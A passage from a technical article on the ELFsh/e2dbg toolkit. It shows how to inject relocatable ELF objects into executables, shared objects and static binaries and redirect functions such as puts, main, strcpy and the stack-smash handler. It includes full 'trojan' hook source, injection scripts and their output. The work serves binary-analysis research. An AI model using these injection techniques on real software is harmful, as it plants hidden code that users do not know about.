[P] ‑‑[ <elfsh_get_dynsymbol_name@dynsym.c:17>

[P] ‑‑‑ Last 5 function(s) recalled 1 time(s) ‑‑‑

+ <elfsh_get_plt@plt.c:16>

+ <elfsh_is_plt@plt.c:49>

+ <elfsh_get_section_name@sht.c:474>

+ <elfsh_is_altplt@plt.c:62>

[P] ‑‑[ <elfsh_is_plt@plt.c:49>

[P] ‑‑[ <elfsh_get_section_name@sht.c:474>

[P] ‑‑[ <elfsh_is_altplt@plt.c:62>

[P] ‑‑‑ Last 3 function(s) recalled 3 time(s) ‑‑‑

+ <elfsh_get_anonymous_section@section.c:334>

+ <elfsh_get_raw@section.c:691>

[P] ‑‑[ <elfsh_is_plt@plt.c:49>

[P] ‑‑[ <elfsh_get_section_name@sht.c:474>

[P] ‑‑[ <elfsh_is_altplt@plt.c:62>

[P] ‑‑[ <elfsh_get_anonymous_section@section.c:334>

[P] ‑‑[ <elfsh_get_raw@section.c:691>

[P] ‑‑‑ Last 5 function(s) recalled 44 time(s) ‑‑‑

+ <elfsh_get_arch@elf.c:179>

[P] ‑‑[ <elfsh_get_arch@elf.c:179>

[P] ‑‑‑ Last 1 function(s) recalled 1 time(s) ‑‑‑

+ <elfsh_hijack_plt_ia32@ia32.c:258>

+ <elfsh_get_foffset_from_vaddr@raw.c:85>

+ <elfsh_get_pltentsz@plt.c:94>

[P] ‑‑[ <elfsh_get_arch@elf.c:179>

[P] ‑‑[ <elfsh_hijack_plt_ia32@ia32.c:258>

[P] ‑‑[ <elfsh_get_foffset_from_vaddr@raw.c:85>

[P] ‑‑[ <elfsh_get_pltentsz@plt.c:94>

[P] ‑‑‑ Last 4 function(s) recalled 1 time(s) ‑‑‑

+ <elfsh_munprotect@runtime.c:97>

+ <elfsh_get_parent_section@section.c:380>

+ <elfsh_get_parent_segment@pht.c:304>

+ <elfsh_segment_is_readable@pht.c:14>

+ <elfsh_segment_is_writable@pht.c:21>

+ <elfsh_segment_is_executable@pht.c:28>

+ <elfsh_raw_write@raw.c:22>

+ <elfsh_get_parent_section_by_foffset@section.c:416>

+ <elfsh_get_sht@sht.c:159>

+ <elfsh_get_section_type@sht.c:887>

+ <elfsh_get_anonymous_section@section.c:334>

+ <elfsh_get_raw@section.c:691>

+ <elfsh_raw_write@raw.c:22>

+ <elfsh_get_parent_section_by_foffset@section.c:416>

+ <elfsh_get_sht@sht.c:159>

+ <elfsh_get_section_type@sht.c:887>

+ <elfsh_get_anonymous_section@section.c:334>

+ <elfsh_get_raw@section.c:691>

+ <elfsh_get_pltentsz@plt.c:94>

+ <elfsh_get_arch@elf.c:179>

+ <elfsh_mprotect@runtime.c:135>

[*] Function puts redirected to addr 0xB7FB6000 <myputs>

+ <vm_print_actual@loop.c:38>

~profile

+ <vm_implicit@implicit.c:91>

.:: Profiling disable

[*] ./etrelmem.esh sourcing ‑OK‑

(e2dbg‑0.65) continue

[..: Embedded ELF Debugger returns to the grave :...]

[e2dbg_run] returning to 0x08045139

[host] main argc 1

[host] argv[0] is : ./a.out_e2dbg

First_printf test

Hijacked puts !!! arg = First_puts

First_puts

Second_printf test

Hijacked puts !!! arg = Second_puts

Second_puts

Hijacked puts !!! arg = LEGIT FUNC

LEGIT FUNC

legit func (test) !

elfsh@WTH $

========= END DUMP 29 =========

Really cool. We hijacked 2 functions (puts and legit_func) using the 2 different (ALTPLT and CFLOW) techniques. For this, we did not have to inject an additional ET_REL file inside the ET_EXEC host, but we directly injected the hook module inside memory using mmap.

We could have printed the SHT and PHT as well just after the ET_REL injection into memory. We keep track of all mapping when we inject such relocatable objects, so that we can eventually unmap them in the future or remap them later :

========= BEGIN DUMP 30 =========

(e2dbg‑0.65) s

[SECTION HEADER TABLE .::. SHT is not stripped]

[Object ./a.out_e2dbg]

[000] 0x00000000 ‑‑‑‑‑‑‑ foff:00000 size:00308

[001] 0x08045134 a‑x‑‑‑‑ .elfsh.hooks foff:00308 size:00015 [002] 0x08046134 a‑x‑‑‑‑ .elfsh.extplt foff:04404 size:00032 [003] 0x08047134 a‑x‑‑‑‑ .elfsh.altplt foff:08500 size:04096 [004] 0x08048134 a‑‑‑‑‑‑ .interp foff:12596 size:00019 [005] 0x08048148 a‑‑‑‑‑‑ .note.ABI‑tag foff:12616 size:00032 [006] 0x08048168 a‑‑‑‑‑‑ .hash foff:12648 size:00064 [007] 0x080481A8 a‑‑‑‑‑‑ .dynsym foff:12712 size:00176 [008] 0x08048258 a‑‑‑‑‑‑ .dynstr foff:12888 size:00112 [009] 0x080482C8 a‑‑‑‑‑‑ .gnu.version foff:13000 size:00022 [010] 0x080482E0 a‑‑‑‑‑‑ .gnu.version_r foff:13024 size:00032 [011] 0x08048300 a‑‑‑‑‑‑ .rel.dyn foff:13056 size:00016 [012] 0x08048310 a‑‑‑‑‑‑ .rel.plt foff:13072 size:00056 [013] 0x08048348 a‑x‑‑‑‑ .init foff:13128 size:00023 [014] 0x08048360 a‑x‑‑‑‑ .plt foff:13152 size:00128 [015] 0x08048400 a‑x‑‑‑‑ .text foff:13312 size:00800 [016] 0x08048720 a‑x‑‑‑‑ .fini foff:14112 size:00027 [017] 0x0804873C a‑‑‑‑‑‑ .rodata foff:14140 size:00185 [018] 0x080487F8 a‑‑‑‑‑‑ .eh_frame foff:14328 size:00004 [019] 0x080497FC aw‑‑‑‑‑ .ctors foff:14332 size:00008 [020] 0x08049804 aw‑‑‑‑‑ .dtors foff:14340 size:00008 [021] 0x0804980C aw‑‑‑‑‑ .jcr foff:14348 size:00004 [022] 0x08049810 aw‑‑‑‑‑ .dynamic foff:14352 size:00200 [023] 0x080498D8 aw‑‑‑‑‑ .got foff:14552 size:00004 [024] 0x080498DC aw‑‑‑‑‑ .got.plt foff:14556 size:00040 [025] 0x08049904 aw‑‑‑‑‑ .data foff:14596 size:00012 [026] 0x08049910 aw‑‑‑‑‑ .bss foff:14608 size:00008 [027] 0x08049918 aw‑‑‑‑‑ .elfsh.altgot foff:14616 size:00044 [028] 0x08049968 aw‑‑‑‑‑ .elfsh.dynsym foff:14696 size:00192 [029] 0x08049AC8 aw‑‑‑‑‑ .elfsh.dynstr foff:15048 size:00122 [030] 0x08049BA8 aw‑‑‑‑‑ .elfsh.reldyn foff:15272 size:00016 [031] 0x08049BB8 aw‑‑‑‑‑ .elfsh.relplt foff:15288 size:00064 [032] 0x00000000 ‑‑‑‑‑‑‑ .comment foff:15400 size:00665 [033] 0x00000000 ‑‑‑‑‑‑‑ .debug_aranges foff:16072 size:00120 [034] 0x00000000 ‑‑‑‑‑‑‑ .debug_pubnames foff:16192 size:00042 [035] 0x00000000 ‑‑‑‑‑‑‑ .debug_info foff:16234 size:06904 [036] 0x00000000 ‑‑‑‑‑‑‑ .debug_abbrev foff:23138 size:00503 [037] 0x00000000 ‑‑‑‑‑‑‑ .debug_line foff:23641 size:00967 [038] 0x00000000 ‑‑‑‑‑‑‑ .debug_frame foff:24608 size:00076 [039] 0x00000000 ‑‑‑ms‑‑ .debug_str foff:24684 size:08075 [040] 0x00000000 ‑‑‑‑‑‑‑ .debug_macinfo foff:32759 size:29295 [041] 0x00000000 ‑‑‑‑‑‑‑ .shstrtab foff:62054 size:00496 [042] 0x00000000 ‑‑‑‑‑‑‑ .symtab foff:64473 size:02256 [043] 0x00000000 ‑‑‑‑‑‑‑ .strtab foff:66729 size:01665 [044] 0x40019000 aw‑‑‑‑‑ myputs.o.bss foff:68394 size:04096 [045] 0x00000000 ‑‑‑‑‑‑‑ .elfsh.rpht foff:72493 size:04096 [046] 0x4001A000 a‑x‑‑‑‑ myputs.o.text foff:76589 size:04096 [047] 0x4001B000 a‑‑ms‑‑ myputs.o.rodata.str1.1 foff:80685 size:04096

(e2dbg‑0.65) p

[Program Header Table .::. PHT]

[Object ./a.out_e2dbg]

[00] 0x08045034 ‑> 0x08045134 r‑x memsz(00256) filesz(00256) [01] 0x08048134 ‑> 0x08048147 r‑‑ memsz(00019) filesz(00019) [02] 0x08045000 ‑> 0x080487FC r‑x memsz(14332) filesz(14332) [03] 0x080497FC ‑> 0x08049C30 rw‑ memsz(01076) filesz(01068) [04] 0x08049810 ‑> 0x080498D8 rw‑ memsz(00200) filesz(00200) [05] 0x08048148 ‑> 0x08048168 r‑‑ memsz(00032) filesz(00032) [06] 0x00000000 ‑> 0x00000000 rw‑ memsz(00000) filesz(00000) [07] 0x00000000 ‑> 0x00000000 ‑‑‑ memsz(00000) filesz(00000)

[SHT correlation]

[Object ./a.out_e2dbg]

[*] SHT is not stripped

[00] PT_PHDR

[01] PT_INTERP .interp

[02] PT_LOAD .elfsh.hooks .elfsh.extplt .elfsh.altplt .interp .note.ABI‑tag .hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt

.text .fini .rodata .eh_frame

[03] PT_LOAD .ctors .dtors .jcr .dynamic .got .got.plt .data .bss .elfsh.altgot .elfsh.dynsym .elfsh.dynstr .elfsh.reldyn .elfsh.relplt

[04] PT_DYNAMIC .dynamic

[05] PT_NOTE .note.ABI‑tag

[06] PT_GNU_STACK

[07] PT_PAX_FLAGS

[Runtime Program Header Table .::. RPHT]

[Object ./a.out_e2dbg]

[00] 0x40019000 ‑> 0x4001A000 rw‑ memsz(4096) filesz(4096) [01] 0x4001A000 ‑> 0x4001B000 r‑x memsz(4096) filesz(4096) [02] 0x4001B000 ‑> 0x4001C000 r‑x memsz(4096) filesz(4096)

[SHT correlation]

[Object ./a.out_e2dbg]

[*] SHT is not stripped

[00] PT_LOAD myputs.o.bss

[01] PT_LOAD myputs.o.text

[02] PT_LOAD myputs.o.rodata.str1.1

(e2dbg‑0.65)

========= BEGIN DUMP 30 =========

Our algorithm is not really optimized since it allocates a new PT_LOAD by section. Here, we created a new table RPHT (Runtime PHT) which handle the list of all runtime injected pages. This table has no legal existance in the ELF file, but that avoid to extend the real PHT with additional runtime memory areas. The technique does not break PaX since all zones are allocated using the strict necessary rights. However, if you want to redirect existing functions on the newly injected functions from myputs.o, then you will have to change some code in runtime, and then it becomes necessary to disable mprotect option to avoid breaking PaX.

‑‑‑[ B. ET_REL relocation into ET_DYN

We ported the ET_REL injection and the EXTPLT technique to ET_DYN files. The biggest difference is that ET_DYN files have a relative address space ondisk. Of course, stripped binaries have no effect on our algorithms and we dont need any non‑mandatory information such as debug sections or anything (it may be obvious but some peoples really asked this).

Let's see what happens on this ET_DYN host file:

========= BEGIN DUMP 31 =========

elfsh@WTH $ file main

main: ELF 32‑bit LSB shared object, Intel 80386, version 1 (SYSV), stripped

elfsh@WTH $ ./main

0x800008c8 main(argc=0xbfa238d0, argv=0xbfa2387c, envp=0xbfa23878, auxv=0xbfa23874) __guard=0xb7ef4148

ssp‑all (Stack) Triggering an overflow by copying [20] of data into [10] of space

main: stack smashing attack in function main()

Aborted

elfsh@WTH $ ./main AAAAA

0x800008c8 main(argc=0xbf898e40, argv=0xbf898dec, envp=0xbf898de8, auxv=0xbf898de4) __guard=0xb7f6a148

ssp‑all (Stack) Copying [5] of data into [10] of space

elfsh@WTH $ ./main AAAAAAAAAAAAAAAAAAAAAAAAAAA

0x800008c8 main(argc=0xbfd3c8e0, argv=0xbfd3c88c, envp=0xbfd3c888, auxv=0xbfd3c884) __guard=0xb7f0b148

ssp‑all (Stack) Copying [27] of data into [10] of space main: stack smashing attack in function main()

Aborted

========= END DUMP 31 =========

For the sake of fun, we decided to study in priority the hardened gentoo binaries [11] . Those comes with PIE (Position Independant Executable) and SSP (Stack Smashing Protection) built in. It does not change a line of our algorithm. Here are some tests done on a stack smashing protected binary with an overflow in the first parameter, triggering the stack smashing handler. We will redirect that handler to show that it is a normal function that use classical PLT mechanisms.

This is the code that we are going to inject :

========= BEGIN DUMP 32 =========

elfsh@WTH $ cat simple.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

int fake_main(int argc, char **argv)

{

old_printf("I am the main function, I have %d argc and my " "argv is %08X yupeelala \n",

argc, argv);

write(1, "fake_main is calling write ! \n", 30);

old_main(argc, argv);

return (0);

}

char* fake_strcpy(char *dst, char *src)

{

printf("The fucker wants to copy %s at address %08X \n", src, dst); return ((char *) old_strcpy(dst, src));

}

void fake_stack_smash_handler(char func[], int damaged) {

static int i = 0;

printf("calling printf from stack smashing handler %u\n", i++); if (i>3)

old___stack_smash_handler(func, damaged);

else

printf("Same player play again [damaged = %08X] \n", damaged); printf("A second (%d) printf from the handler \n", 2);

}

int fake_libc_start_main(void *one, void *two, void *three, void *four, void *five, void *six, void *seven) {

static int i = 0;

old_printf("fake_libc_start_main \n"); printf("start_main has been run %u \n", i++);

return (old___libc_start_main(one, two, three, four, five, six, seven));

}

========= END DUMP 32 =========

The elfsh script that allow for the modification is :

========= BEGIN DUMP 33 =========

elfsh@WTH $ cat relinject.esh

#!../../../vm/elfsh

load main

load simple.o

reladd 1 2

redir main fake_main

redir __stack_smash_handler fake_stack_smash_handler

redir __libc_start_main fake_libc_start_main

redir strcpy fake_strcpy

save fake_main

quit

========= END DUMP 33 =========

Now let's see this in action !

========= BEGIN DUMP 34 =========

elfsh@WTH $ ./relinject.esh

The ELF shell 0.65 (32 bits built) .::.

.::. This software is under the General Public License V.2 .::. Please visit http://www.gnu.org

~load main

[*] Sun Jul 31 17:24:20 2005 ‑ New object main loaded

~load simple.o

[*] Sun Jul 31 17:24:20 2005 ‑ New object simple.o loaded

~reladd 1 2

[*] ET_REL simple.o injected succesfully in ET_DYN main

~redir main fake_main

[*] Function main redirected to addr 0x00005154 <fake_main>

~redir __stack_smash_handler fake_stack_smash_handler

[*] Function __stack_smash_handler redirected to addr 0x00005203 <fake_stack_smash_handler>

~redir __libc_start_main fake_libc_start_main

[*] Function __libc_start_main redirected to addr 0x00005281 <fake_libc_start_main>

~redir strcpy fake_strcpy

[*] Function strcpy redirected to addr 0x000051BD <fake_strcpy>

~save fake_main

[*] Object fake_main saved successfully

~quit

[*] Unloading object 1 (simple.o)

[*] Unloading object 2 (main) *

.:: Bye ‑:: The ELF shell 0.65

========= END DUMP 34 =========

What about the result ?

========= BEGIN DUMP 35 =========

elfsh@WTH $ ./fake_main

fake_libc_start_main

start_main has been run 0

I am the main function, I have 1 argc and my argv is BF9A6F54 yupeelala fake_main is calling write !

0x800068c8 main(argc=0xbf9a6e80, argv=0xbf9a6e2c, envp=0xbf9a6e28, auxv=0xbf9a6e24) __guard=0xb7f78148

ssp‑all (Stack) Triggering an overflow by copying [20] of data into [10] of space

The fucker wants to copy 01234567890123456789 at address BF9A6E50 calling printf from stack smashing handler 0

Same player play again [damaged = 39383736]

A second (2) printf from the handler

elfsh@WTH $ ./fake_main AAAA

fake_libc_start_main

start_main has been run 0

I am the main function, I have 2 argc and my argv is BF83A164 yupeelala fake_main is calling write !

0x800068c8 main(argc=0xbf83a090, argv=0xbf83a03c, envp=0xbf83a038, auxv=0xbf83a034) __guard=0xb7f09148

ssp‑all (Stack) Copying [4] of data into [10] of space

The fucker wants to copy AAAA at address BF83A060

elfsh@WTH $ ./fake_main AAAAAAAAAAAAAAA fake_libc_start_main

start_main has been run 0

I am the main function, I have 2 argc and my argv is BF8C7F24 yupeelala fake_main is calling write !

0x800068c8 main(argc=0xbf8c7e50, argv=0xbf8c7dfc, envp=0xbf8c7df8, auxv=0xbf8c7df4) __guard=0xb7f97148

ssp‑all (Stack) Copying [15] of data into [10] of space

The fucker wants to copy AAAAAAAAAAAAAAA at address BF8C7E20

========= END DUMP 35 =========

No problem there : strcpy, main, libc_start_main and __stack_smash_handler are redirected on our own routines

as the output shows. We also call write that was not available in the original binary, which show that EXTPLT also works on ET_DYN objects, the cool stuff beeing that it worked without any modification.

In the current release (0.65rc1) there is a limitation on ET_DYN however. We have to avoid non‑initialized variables because that would add some entries in relocation tables. This is not a problem to add some since we also copy .rel.got (rel.dyn) in EXTPLT on ET_DYN, but it is not implemented for now.

‑‑‑[ C. Extending static executables

Now we would like to be able to debug static binary the same way we do for dynamic ones. Since we cannot inject e2dbg using DT_NEEDED dependances on static binaries, the idea is to inject e2dbg as ET_REL into ET_EXEC since it is possible on static binaries. E2dbg as many more dependancies than a simple host.c program. The extended idea is to inject the missing part of static libraries when it is necessary.

We have to resolve dependancies on‑the‑fly while ET_REL injection is performed. For that we will use a simple recursive algorithm on the existing relocation code : when a symbol is not found at relocation time, either it is a old_* symbol so it is delayed in a second stage relocation time (Indeed, old symbols appears at redirection time, which is done after the injection of the ET_REL file so we miss that symbol at first stage), or the function symbol is definitely unknown and we need to add information so that the rtld can resolve it as well.

To be able to find the suitable ET_REL to inject, ELFsh load all the ET_REL from static library (.a) then the resolution is done using this pool of binaries. The workspace feature of elfsh is quite useful for this, when sessions are performed on more than a thousand of ET_EXEC ELF files at a time (after extracting modules from libc.a and others static librairies, for instance).

Circular dependancies are solved by using second stage relocation when the required symbol is in a file that is being injected after the current file. The same second stage relocation mechanism is used when we need to relocate ET_REL objects that use OLD symbols. Since OLD symbols are injected at redirection time and ET_REL files should be injected before (so that we can use functions from the ET_REL object as hook functions), we do not have OLD symbols at relocation time. The second stage relocation is then triggered at save time (for on disk modifications) or recursively solved when injecting multiple ET_REL with circular relocation dependances.

A problem is remaining, as for now we had one PT_LOAD by injected section, we quickly reach more than 500 PT_LOAD. This seems to be a bit too much for a regular ELF static file. We need to improve the PT_LOAD allocation mechanism so that we can inject bigger extension to such host binaries.

This technique provide the same features as EXTPLT but for static binaries : we can inject what we want (regardless of what the host binary contains).

So here is a smaller working example:

========= BEGIN DUMP 36 =========

elfsh@WTH $ cat host.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

int legit_func(char *str)

{

puts("legit func !");

return (0);

}

int main()

{

char *str;

char buff[BUFSIZ];

read(0, buff, BUFSIZ‑1);

puts("First_puts");

puts("Second_puts");

fflush(stdout);

legit_func("test");

return (0);

}

elfsh@WTH $ file a.out

a.out: ELF 32‑bit LSB executable, Intel 80386, statically linked, not stripped

elfsh@WTH $ ./a.out

First_puts

Second_puts

legit func !

========= END DUMP 36 =========

The injected file source code is as follow :

========= BEGIN DUMP 37 =========

elfsh@WTH $ cat rel2.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <netdb.h>

int glvar_testreloc = 42;

int glvar_testreloc_bss;

char glvar_testreloc_bss2;

short glvar_testreloc_bss3;

int hook_func(char *str)

{

int sd;

printf("hook func %s !\n", str);

return (old_legit_func(str));

}

int puts_troj(char *str)

{

int local = 1;

char *str2;

int fd;

char name[16];

void *a;

str2 = malloc(10);

*str2 = 'Z';

*(str2 + 1) = 0x00;

glvar_testreloc_bss = 43;

glvar_testreloc_bss2 = 44;

glvar_testreloc_bss3 = 45;

memset(name, 0, 16);

printf("Trojan injected ET_REL takes control now " "[%s:%s:%u:%u:%hhu:%hu:%u] \n",

str2, str,

glvar_testreloc,

glvar_testreloc_bss, glvar_testreloc_bss2, glvar_testreloc_bss3,

local);

free(str2);

gethostname(name, 15);

printf("hostname : %s\n", name);

printf("printf called from puts_troj [%s] \n", str);

fd = open("/etc/services", 0, O_RDONLY);

if (fd)

{

if ((a = mmap(0, 100, PROT_READ, MAP_PRIVATE, fd, 0)) == (void *) ‑1) {

perror("mmap");

close(fd);

printf("mmap failed : fd: %d\n", fd); return (‑1);

}

printf("‑=‑=‑=‑=‑=‑ BEGIN /etc/services %d ‑=‑=‑=‑=‑=\n", fd); printf("host : %.60s\n", (char *) a); printf("‑=‑=‑=‑=‑=‑ END /etc/services %d ‑=‑=‑=‑=‑=\n", fd); printf("mmap succeed fd : %d\n", fd);

close(fd);

}

old_puts(str);

fflush(stdout);

return (0);

}

========= END DUMP 37 =========

The load_lib.esh script, generated using a small bash script, looks like this :

========= BEGIN DUMP 38 =========

elfsh@WTH $ head ‑n 10 load_lib.esh

#!../../../vm/elfsh

load libc/init‑first.o

load libc/libc‑start.o

load libc/sysdep.o

load libc/version.o

load libc/check_fds.o

load libc/libc‑tls.o

load libc/elf‑init.o

load libc/dso_handle.o

load libc/errno.o

========= END DUMP 38 =========

Here is the injection ELFsh script:

========= BEGIN DUMP 39 =========

elfsh@WTH $ cat relinject.esh

#!../../../vm/elfsh

exec gcc ‑g3 ‑static host.c

exec gcc ‑g3 ‑static rel2.c ‑c

load a.out

load rel2.o

source ./load_lib.esh

reladd 1 2

redir puts puts_troj

redir legit_func hook_func

save fake_aout

quit

========= END DUMP 39 =========

Stripped output of the injection :

========= BEGIN DUMP 40 =========

elfsh@WTH $ ./relinject.esh

The ELF shell 0.65 (32 bits built) .::.

.::. This software is under the General Public License V.2 .::. Please visit http://www.gnu.org

~exec gcc ‑g3 ‑static host.c

[*] Command executed successfully

~exec gcc ‑g3 ‑static rel2.c ‑c

[*] Command executed successfully

~load a.out

[*] Sun Jul 31 16:37:32 2005 ‑ New object a.out loaded

~load rel2.o

[*] Sun Jul 31 16:37:32 2005 ‑ New object rel2.o loaded

~source ./load_lib.esh

~load libc/init‑first.o

[*] Sun Jul 31 16:37:33 2005 ‑ New object libc/init‑first.o loaded

~load libc/libc‑start.o

[*] Sun Jul 31 16:37:33 2005 ‑ New object libc/libc‑start.o loaded

~load libc/sysdep.o

[*] Sun Jul 31 16:37:33 2005 ‑ New object libc/sysdep.o loaded

~load libc/version.o

[*] Sun Jul 31 16:37:33 2005 ‑ New object libc/version.o loaded

[[... 1414 files later ...]]

[*] ./load_lib.esh sourcing ‑OK‑

~reladd 1 2

[*] ET_REL rel2.o injected succesfully in ET_EXEC a.out

~redir puts puts_troj

[*] Function puts redirected to addr 0x080B7026 <puts_troj>

~redir legit_func hook_func

[*] Function legit_func redirected to addr 0x080B7000 <hook_func>

~save fake_aout

[*] Object fake_aout saved successfully

~quit

[*] Unloading object 1 (libpthreadnonshared/pthread_atfork.oS) [*] Unloading object 2 (libpthread/ptcleanup.o)

[*] Unloading object 3 (libpthread/pthread_atfork.o)

[*] Unloading object 4 (libpthread/old_pthread_atfork.o)

[[... 1416 files later ...]]

.:: Bye ‑:: The ELF shell 0.65

========= END DUMP 40 =========

Does it works ?

========= BEGIN DUMP 41 =========

elfsh@WTH $ ./fake_aout

Trojan injected ET_REL takes control now [Z:First_puts:42:43:44:45:1] hostname : WTH

printf called from puts_troj [First_puts]

‑=‑=‑=‑=‑=‑ BEGIN /etc/services 3 ‑=‑=‑=‑=‑=

host : # /etc/services

#

# Network services, Internet style

#

# Not

‑=‑=‑=‑=‑=‑ END /etc/services 3 ‑=‑=‑=‑=‑=

mmap succeed fd : 3

First_puts

Trojan injected ET_REL takes control now [Z:Second_puts:42:43:44:45:1] hostname : WTH

printf called from puts_troj [Second_puts]

‑=‑=‑=‑=‑=‑ BEGIN /etc/services 3 ‑=‑=‑=‑=‑=

host : # /etc/services

#

# Network services, Internet style

#

# Not

‑=‑=‑=‑=‑=‑ END /etc/services 3 ‑=‑=‑=‑=‑=

mmap succeed fd : 3

Second_puts

hook func test !

Trojan injected ET_REL takes control now [Z:legit func !:42:43:44:45:1] hostname : WTH

printf called from puts_troj [legit func !]

‑=‑=‑=‑=‑=‑ BEGIN /etc/services 3 ‑=‑=‑=‑=‑=

host : # /etc/services

#

# Network services, Internet style

#

# Not

‑=‑=‑=‑=‑=‑ END /etc/services 3 ‑=‑=‑=‑=‑=

mmap succeed fd : 3

legit func !

========= END DUMP 41 =========

Yes, It's working. Now have a look at the fake_aout static file :

========= BEGIN DUMP 42 =========

elfsh@WTH $ ../../../vm/elfsh ‑f ./fake_aout ‑s

[*] Object ./fake_aout has been loaded (O_RDONLY)

[SECTION HEADER TABLE .::. SHT is not stripped]

[Object ./fake_aout]

[000] 0x00000000 ‑‑‑‑‑‑‑ foff:000000 sz:00000

[001] 0x080480D4 a‑‑‑‑‑‑ .note.ABI‑tag foff:069844 sz:00032 [002] 0x08048100 a‑x‑‑‑‑ .init foff:069888 sz:00023 [003] 0x08048120 a‑x‑‑‑‑ .text foff:69920 sz:347364 [004] 0x0809CE10 a‑x‑‑‑‑ __libc_freeres_fn foff:417296 sz:02222 [005] 0x0809D6C0 a‑x‑‑‑‑ .fini foff:419520 sz:00029 [006] 0x0809D6E0 a‑‑‑‑‑‑ .rodata foff:419552 sz:88238 [007] 0x080B2F90 a‑‑‑‑‑‑ __libc_atexit foff:507792 sz:00004 [008] 0x080B2F94 a‑‑‑‑‑‑ __libc_subfreeres foff:507796 sz:00036 [009] 0x080B2FB8 a‑‑‑‑‑‑ .eh_frame foff:507832 sz:03556 [010] 0x080B4000 aw‑‑‑‑‑ .ctors foff:512000 sz:00012 [011] 0x080B400C aw‑‑‑‑‑ .dtors foff:512012 sz:00012 [012] 0x080B4018 aw‑‑‑‑‑ .jcr foff:512024 sz:00004 [013] 0x080B401C aw‑‑‑‑‑ .data.rel.ro foff:512028 sz:00044 [014] 0x080B4048 aw‑‑‑‑‑ .got foff:512072 sz:00004 [015] 0x080B404C aw‑‑‑‑‑ .got.plt foff:512076 sz:00012 [016] 0x080B4060 aw‑‑‑‑‑ .data foff:512096 sz:03284 [017] 0x080B4D40 aw‑‑‑‑‑ .bss foff:515380 sz:04736 [018] 0x080B5FC0 aw‑‑‑‑‑ __libc_freeres_ptrs foff:520116 sz:00024 [019] 0x080B6000 aw‑‑‑‑‑ rel2.o.bss foff:520192 sz:04096 [020] 0x080B7000 a‑x‑‑‑‑ rel2.o.text foff:524288 sz:04096 [021] 0x080B8000 aw‑‑‑‑‑ rel2.o.data foff:528384 sz:00004 [022] 0x080B9000 a‑‑‑‑‑‑ rel2.o.rodata foff:532480 sz:04096 [023] 0x080BA000 a‑x‑‑‑‑ .elfsh.hooks foff:536576 sz:00032 [024] 0x080BB000 aw‑‑‑‑‑ libc/printf.o.bss foff:540672 sz:04096 [025] 0x080BC000 a‑x‑‑‑‑ libc/printf.o.text foff:544768 sz:04096 [026] 0x080BD000 aw‑‑‑‑‑ libc/gethostname.o.bss foff:548864 sz:04096 [027] 0x080BE000 a‑x‑‑‑‑ libc/gethostname.o.text foff:552960 sz:04096 [028] 0x080BF000 aw‑‑‑‑‑ libc/perror.o.bss foff:557056 sz:04096 [029] 0x080C0000 a‑x‑‑‑‑ libc/perror.o.text foff:561152 sz:04096 [030] 0x080C1000 a‑‑ms‑‑ libc/perror.o.rodata.str1.1 foff:565248 sz:04096 [031] 0x080C2000 a‑‑ms‑‑ libc/perror.o.rodata.str4.4 foff:569344 sz:04096 [032] 0x080C3000 aw‑‑‑‑‑ libc/dup.o.bss foff:573440 sz:04096 [033] 0x080C4000 a‑x‑‑‑‑ libc/dup.o.text foff:577536 sz:04096 [034] 0x080C5000 aw‑‑‑‑‑ libc/iofdopen.o.bss foff:581632 sz:04096 [035] 0x00000000 ‑‑‑‑‑‑‑ .comment foff:585680 sz:20400 [036] 0x080C6000 a‑x‑‑‑‑ libc/iofdopen.o.text foff:585728 sz:04096 [037] 0x00000000 ‑‑‑‑‑‑‑ .debug_aranges foff:606084 sz:00136 [038] 0x00000000 ‑‑‑‑‑‑‑ .debug_pubnames foff:606220 sz:00042 [039] 0x00000000 ‑‑‑‑‑‑‑ .debug_info foff:606262 sz:01600 [040] 0x00000000 ‑‑‑‑‑‑‑ .debug_abbrev foff:607862 sz:00298 [041] 0x00000000 ‑‑‑‑‑‑‑ .debug_line foff:608160 sz:00965 [042] 0x00000000 ‑‑‑‑‑‑‑ .debug_frame foff:609128 sz:00068 [043] 0x00000000 ‑‑‑‑‑‑‑ .debug_str foff:609196 sz:00022 [044] 0x00000000 ‑‑‑‑‑‑‑ .debug_macinfo foff:609218 sz:28414 [045] 0x00000000 ‑‑‑‑‑‑‑ .shstrtab foff:637632 sz:00632 [046] 0x00000000 ‑‑‑‑‑‑‑ .symtab foff:640187 sz:30192 [047] 0x00000000 ‑‑‑‑‑‑‑ .strtab foff:670379 sz:25442

[*] Object ./fake_aout unloaded

elfsh@WTH $ ../../../vm/elfsh ‑f ./fake_aout ‑p

[*] Object ./fake_aout has been loaded (O_RDONLY)

[Program Header Table .::. PHT]

[Object ./fake_aout]

[00] 0x8037000 ‑> 0x80B3D9C r‑x memsz(511388) foff(000000) =>Loadable seg [01] 0x80B4000 ‑> 0x80B7258 rw‑ memsz(012888) foff(512000) =>Loadable seg [02] 0x80480D4 ‑> 0x80480F4 r‑‑ memsz(000032) foff(069844) =>Aux. info. [03] 0x0000000 ‑> 0x0000000 rw‑ memsz(000000) foff(000000) =>Stackflags [04] 0x0000000 ‑> 0x0000000 ‑‑‑ memsz(000000) foff(000000) =>New PaXflags [05] 0x80B6000 ‑> 0x80B7000 rwx memsz(004096) foff(520192) =>Loadable seg [06] 0x80B7000 ‑> 0x80B8000 rwx memsz(004096) foff(524288) =>Loadable seg [07] 0x80B8000 ‑> 0x80B8004 rwx memsz(000004) foff(528384) =>Loadable seg [08] 0x80B9000 ‑> 0x80BA000 rwx memsz(004096) foff(532480) =>Loadable seg [09] 0x80BA000 ‑> 0x80BB000 rwx memsz(004096) foff(536576) =>Loadable seg [10] 0x80BB000 ‑> 0x80BC000 rwx memsz(004096) foff(540672) =>Loadable seg [11] 0x80BC000 ‑> 0x80BD000 rwx memsz(004096) foff(544768) =>Loadable seg [12] 0x80BD000 ‑> 0x80BE000 rwx memsz(004096) foff(548864) =>Loadable seg [13] 0x80BE000 ‑> 0x80BF000 rwx memsz(004096) foff(552960) =>Loadable seg [14] 0x80BF000 ‑> 0x80C0000 rwx memsz(004096) foff(557056) =>Loadable seg [15] 0x80C0000 ‑> 0x80C1000 rwx memsz(004096) foff(561152) =>Loadable seg [16] 0x80C1000 ‑> 0x80C2000 rwx memsz(004096) foff(565248) =>Loadable seg [17] 0x80C2000 ‑> 0x80C3000 rwx memsz(004096) foff(569344) =>Loadable seg [18] 0x80C3000 ‑> 0x80C4000 rwx memsz(004096) foff(573440) 